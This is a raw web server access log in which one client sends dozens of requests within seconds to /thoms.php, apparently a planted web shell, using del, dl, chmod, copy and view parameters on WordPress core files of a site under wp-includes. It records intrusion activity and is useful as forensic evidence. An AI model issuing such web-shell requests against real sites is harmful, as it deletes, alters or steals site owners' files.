45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?del=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?chmod=sodium_compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23913 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fl10n.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fl10n.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fregistration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fregistration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwp-diff.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwp-diff.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?del=ms-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:11 -0400] "GET /thoms.php?dl=template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcron.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcron.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?chmod=fonts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmeta.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmeta.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14958 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?chmod=post-formats.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?dl=http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:12 -0400] "GET /thoms.php?del=media-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?chmod=js&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=js&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?chmod=atomlib.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12122 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?chmod=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fscript-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fscript-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:13 -0400] "GET /thoms.php?dl=script-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?dl=utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?del=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59241 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59145 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:14 -0400] "GET /thoms.php?del=locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59204 "http://163.245.207.76:443/thoms.php?del=locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?chmod=theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?chmod=update.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11907 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14961 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:15 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12062 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12252 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21589 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26566 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?dl=class-wp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fquery.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fquery.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?del=general-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59240 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsitemaps.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsitemaps.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fvars.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fvars.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:16 -0400] "GET /thoms.php?del=rest-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=rest-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31892 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12407 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16201 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?chmod=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
